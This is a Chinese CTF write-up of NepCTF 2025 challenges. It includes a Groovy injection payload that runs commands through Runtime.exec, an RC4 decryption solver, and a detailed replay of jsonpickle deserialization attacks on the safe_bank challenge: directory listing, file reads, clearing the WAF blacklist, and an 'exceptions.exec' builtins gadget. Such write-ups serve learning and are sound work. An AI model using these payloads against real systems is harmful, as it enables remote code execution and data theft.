· 5 min read · 1036 words · CTF

NepCTF2025题解以及web复现

感觉我能做出来的大家应该也都没问题,那就简单写写主要思路,后面的复现我会详细的去说

web

easyGooGooVVVY

简单了解一下反射机制与groovy表达式注入
payload

return "".class
       .forName("java.lang.Runtime")
       .getMethod("getRuntime", [] as Class[])
       .invoke(null, null)
       .exec("env")
       .inputStream.text

RevengeGooGooVVVY

审了一下附件,自己重构的payload打不过去,后来发现第一题的payload也可以过关

return "".class
       .forName("java.lang.Runtime")
       .getMethod("getRuntime", [] as Class[])
       .invoke(null, null)
       .exec("env")
       .inputStream.text

JavaSeri

看到cookie是rememberMe,就知道是shiro
用工具去一把梭了

Re

realme

附件丢给ChatGPT分析一下,自己再分析一下,应该是打热补丁和变种rc4
解决热补丁之后变种rc4模板直接套

#include <stdio.h>
#include <string.h>
#include <stdint.h>

#define N 256
#define FLAG_LEN 35

const char *Str = "Y0u_Can't_F1nd_Me!";
const uint8_t v7[FLAG_LEN] = {
    'P','Y',162,148,46,142,92,149,121,22,
    229,54,96,199,232,6,51,120,240,208,
    54,200,115,27,101,64,181,212,232,156,
    101,244,186,98,208
};

void ksa_mod(uint8_t S[N]) {
    int v6 = 0;
    for (int i = 0; i < N; i++) {
        S[i] = (uint8_t)(i ^ 0xCF);
    }
    for (int i = 0; i < N; i++) {
        uint8_t k = (uint8_t)Str[i % strlen(Str)];
        v6 = (v6 + k + S[i]) & 0xFF;
        uint8_t tmp = S[i];
        S[i]    = S[v6];
        S[v6]  = tmp ^ 0xAD;
    }
}

void decrypt(uint8_t S[N], const uint8_t cipher[FLAG_LEN], char out[FLAG_LEN+1]) {
    int v9 = 0, v8 = 0;
    for (int i = 0; i < FLAG_LEN; i++) {
        v9 = (v9 + 1) & 0xFF;
        v8 = (v8 + v9 * S[v9]) & 0xFF;
        uint8_t tmp = S[v9];
        S[v9] = S[v8];
        S[v8] = tmp;
        int v4 = (S[v8] + S[v9]) & 0xFF;
        uint8_t c = cipher[i];
        uint8_t p;
        if (i & 1) {
            // 奇数位 c = p + S[v4]  ->  p = c - S[v4]
            p = (uint8_t)(c - S[v4]);
        } else {
            // 偶数位 c = p - S[v4]  ->  p = c + S[v4]
            p = (uint8_t)(c + S[v4]);
        }
        out[i] = (char)p;
    }
    out[FLAG_LEN] = '\0';
}

int main(void) {
    uint8_t S[N];
    char flag[FLAG_LEN+1];

    ksa_mod(S);
    decrypt(S, v7, flag);
    printf("%s", flag);
    return 0;
}

Misc

NepBotEvent

稍微了解一下keylogger,然后知道应该是把键盘事件写入这个Linux内核文件里了
丢给ChatGPT分析即可

客服小美

用户名和木马地址都很好找,C2服务器很明显只有一条ip,ctftools工具箱一把梭了
后续要分析泄漏信息,把流量包交到CTF-NetA工具中,发现CS流量,上网找文章和脚本按步骤解密即可
一开始本来分离出了流量包中的stage文件,但是不知道为什么一直打不通
后面看到了这篇文章,想到题目既然给了,那应该要用进程内存解密
https://geekdaxue.co/read/jianouzuihuai@tools/cs_decrypt

SpeedMino

她高中的时候送我过一台小游戏机,只能玩俄罗斯方块的那种。今天重新见到俄罗斯方块,不禁怀念起那个时候。
或许是为了缅怀逝去的青春吧,我决定自己打到2600分,一次又一次的尝试,恍惚间我似乎忘记了flag的事情,似乎我只要一直打下去,就能回到那个夏天
当我回过神来,生活只剩下遍地狼藉,空落落的怀里,不见了那台小游戏机
(最后我是ce开倍速精灵开到100000倍速秒过的,青春过去的总是很快,暗自神伤时,总会想起那一句:往事总在回忆中被赋予意义;这张语文卷,似乎也是我青春的仓促谢幕吧)

最后想想讲讲自己的青春,或许也算得上是有趣吧

复现

(主要讲我自己的感受,学习的话还得看拉蒙特徐的博客)

safe_bank

这题我一直在蒸,虽然成功读到了源码,但是看到黑名单的那一刻我真的绝望了啊

  1. 测试
    一眼就知道cookie有猫腻,改成admin发包之后发现只有假flag,查看了关于我们,应该是要打jsonpickle反序列化

稍微学习一些关于jsonpickle反序列化的知识,我贴两篇具体文章
https://xz.aliyun.com/news/16133
https://sugarp1g.github.io/2022/01/18/jsonpickle/
大概了解一下流程与操作

接下来看看注入点
我们的cookie解base64之后是

{"py/object": "__main__.Session", "meta": {"user": "admin#", "ts": 1753669872}}

时间戳这玩意纯假的,我随便贴都能过,说明后端是没什么校验的
那只能在admin处存在注入点了

  1. 读源码

按照文章中的payload一个个去尝试
https://xz.aliyun.com/news/16133
我基本上测了一圈,全部被ban,当时真的是要绝望了啊
(其实这里应该立马关注到py/object这条链子,因为cookie里就有object,普通的cookie可不会被过滤啊)
后面看到这两条,前面我已经测过os会被ban,于是就试了一下glob.glob这条链子

{'py/object': 'glob.glob', 'py/newargs': {'/*'}}
{'py/object': 'os.listdir', 'py/newargs': ['/']}

发现了这条链子没被过滤,但是也没有被执行
alt text

然后自己去改了一下,通过我贴的文章,大致可以了解到py/newargs和py/newargsex两者的区别(详细的可以看拉蒙特徐的博客)
那就把py/newargs改成py/newargsex
然后发现不起作用,我之前有过这方面的经验,感觉上应该是单引号和双引号的问题,于是把单引号改为双引号
OK这下是过了,但是报错了(但这起码说明了我们引号是改对了)
(以下是错误的payload)

{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": {'/*'}}, "ts": 1753669872}}

alt text

深入的去学习了一下newargs和newargsex之间的差别,再问了一下ChatGPT,应该是py/newargsex对应的参数结构不对,我就让AI生成了一个,最后结合我们之前已经测出来的部分黑名单,写出正确的payload

{
  "py/object": "__main__.Session",
  "meta": {
    "user": {
      "py/object": "glob.glob",
      "py/newargsex": [
        {
          "py/set": ["/*"]
        },
        ""
      ]
    },
    "ts": 1753669872
  }
}

成功读取
alt text
注意到/readflag

{'py/object': 'linecache.getlines', 'py/newargs': ['/flag']}

就用这条payload来读文件
按照上面列目录的方法来改这条payload
alt text
发现成功读取,那么我们把源码交给AI整理一下

from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

# ---- 数据模型 ----
class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd

class Session:
    def __init__(self, meta):
        self.meta = meta

# ---- 模拟数据库 ----
users_db = [
    Account("admin", os.urandom(16).hex()),
    Account("guest", "guest")
]

def register_user(username, password):
    for acc in users_db:
        if acc.uid == username:
            return False
    users_db.append(Account(username, password))
    return True

# ---- WAF 规则 ----
FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
    'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized: str):
    """
    简单的关键字过滤:只要 payload 中出现禁止词就返回该词,否则返回 None。
    """
    try:
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False)
        for bad in FORBIDDEN:
            if bad in payload:
                return bad
        return None
    except Exception:
        return "error"

# ---- 路由定义 ----
@app.route('/')
def root():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')

        if not username or not password or not confirm_password:
            return render_template('register.html', error="所有字段都是必填的。")
        if password != confirm_password:
            return render_template('register.html', error="密码不匹配。")
        if len(username) < 4 or len(password) < 6:
            return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")
        if register_user(username, password):
            return render_template('index.html', message="注册成功!请登录。")
        else:
            return render_template('register.html', error="用户名已存在。")

    return render_template('register.html')

@app.post('/auth')
def auth():
    u = request.form.get("u")
    p = request.form.get("p")
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            sess_data = Session({'user': u, 'ts': int(time.time())})
            token_raw = jsonpickle.encode(sess_data)
            b64_token = base64.b64encode(token_raw.encode()).decode()

            resp = make_response("登录成功。")
            resp.set_cookie("authz", b64_token)
            resp.status_code = 302
            resp.headers['Location'] = '/panel'
            return resp

    return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root', error="缺少Token。"))

    try:
        decoded = base64.b64decode(token).decode()
    except Exception:
        return render_template('error.html', error="Token格式错误。")

    ban = waf(decoded)
    if ban:
        return render_template('error.html', error=f"请不要黑客攻击!{ban}")

    try:
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta

        if meta.get("user") != "admin":
            return render_template('user_panel.html', username=meta.get('user'))

        return render_template('admin_panel.html')
    except Exception:
        return render_template('error.html', error="数据解码失败。")

@app.route('/vault')
def vault():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))

    try:
        decoded = base64.b64decode(token).decode()
        if waf(decoded):
            return render_template('error.html', error="请不要尝试黑客攻击!")

        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        if meta.get("user") != "admin":
            return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")

        flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
        return render_template('vault.html', flag=flag)
    except Exception:
        return redirect(url_for('root'))

@app.route('/about')
def about():
    return render_template('about.html')

# ---- 启动 ----
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

注意看黑名单

FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
    'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

笑死我了根本打不动一点,我学到的链子基本上都要靠这其中的两种到三种方法,而且

payload = json.dumps(data, ensure_ascii=False)

unicode编码绕过也行不通

然后我这题就没做出来

赛后问拉蒙特徐,他的大胆想法直接给我惊呆了
他直接用list.clear()的方法把黑名单给扬了(我哩个大豆)

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}

在他的博客中也详细的讲到了如何去验证这个poc,我这里就不多说了,大家可以去看他的博客,就在我的友链最上方(真的是恩师啊)

黑名单扬了之后大家就都会做了,这里就不多赘述(主要是这个想法太大胆,我之前从来没有想到过)

补档之预期解

现在是7月18号晚上8点29,群里大家都在聊safe_bank,把黑名单扬了的做法官方说是非预期,然后就有预期解大佬出来现身说法

注意到源码util.py下的某函数

def translate_module_name(module: str) -> str:
    """Rename builtin modules to a consistent module name.

    Prefer the more modern naming.

    This is used so that references to Python's `builtins` module can
    be loaded in both Python 2 and 3.  We remap to the "__builtin__"
    name and unmap it when importing.

    Map the Python2 `exceptions` module to `builtins` because
    `builtins` is a superset and contains everything that is
    available in `exceptions`, which makes the translation simpler.

    See untranslate_module_name() for the reverse operation.
    """
    lookup = dict(__builtin__='builtins', exceptions='builtins')
    return lookup.get(module, module)

此处为了兼容python2,把exception当成builtins了

再看一下我们上面的黑名单

FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
    'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

exception并不在内,那直接构造链子打就行了!!!
(一定要培养强大的代审能力)
那payload手搓都可以了,原理就是exception.eval=builtins.eval

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"exceptions.exec","py/newargsex": ["???"]},"ts":1753706694}}

问号那个地方我一直写不明白,因为我感觉我总是得用到os等关键字,然后去问了下lmtx
alt text
666又学到新东西了,好开心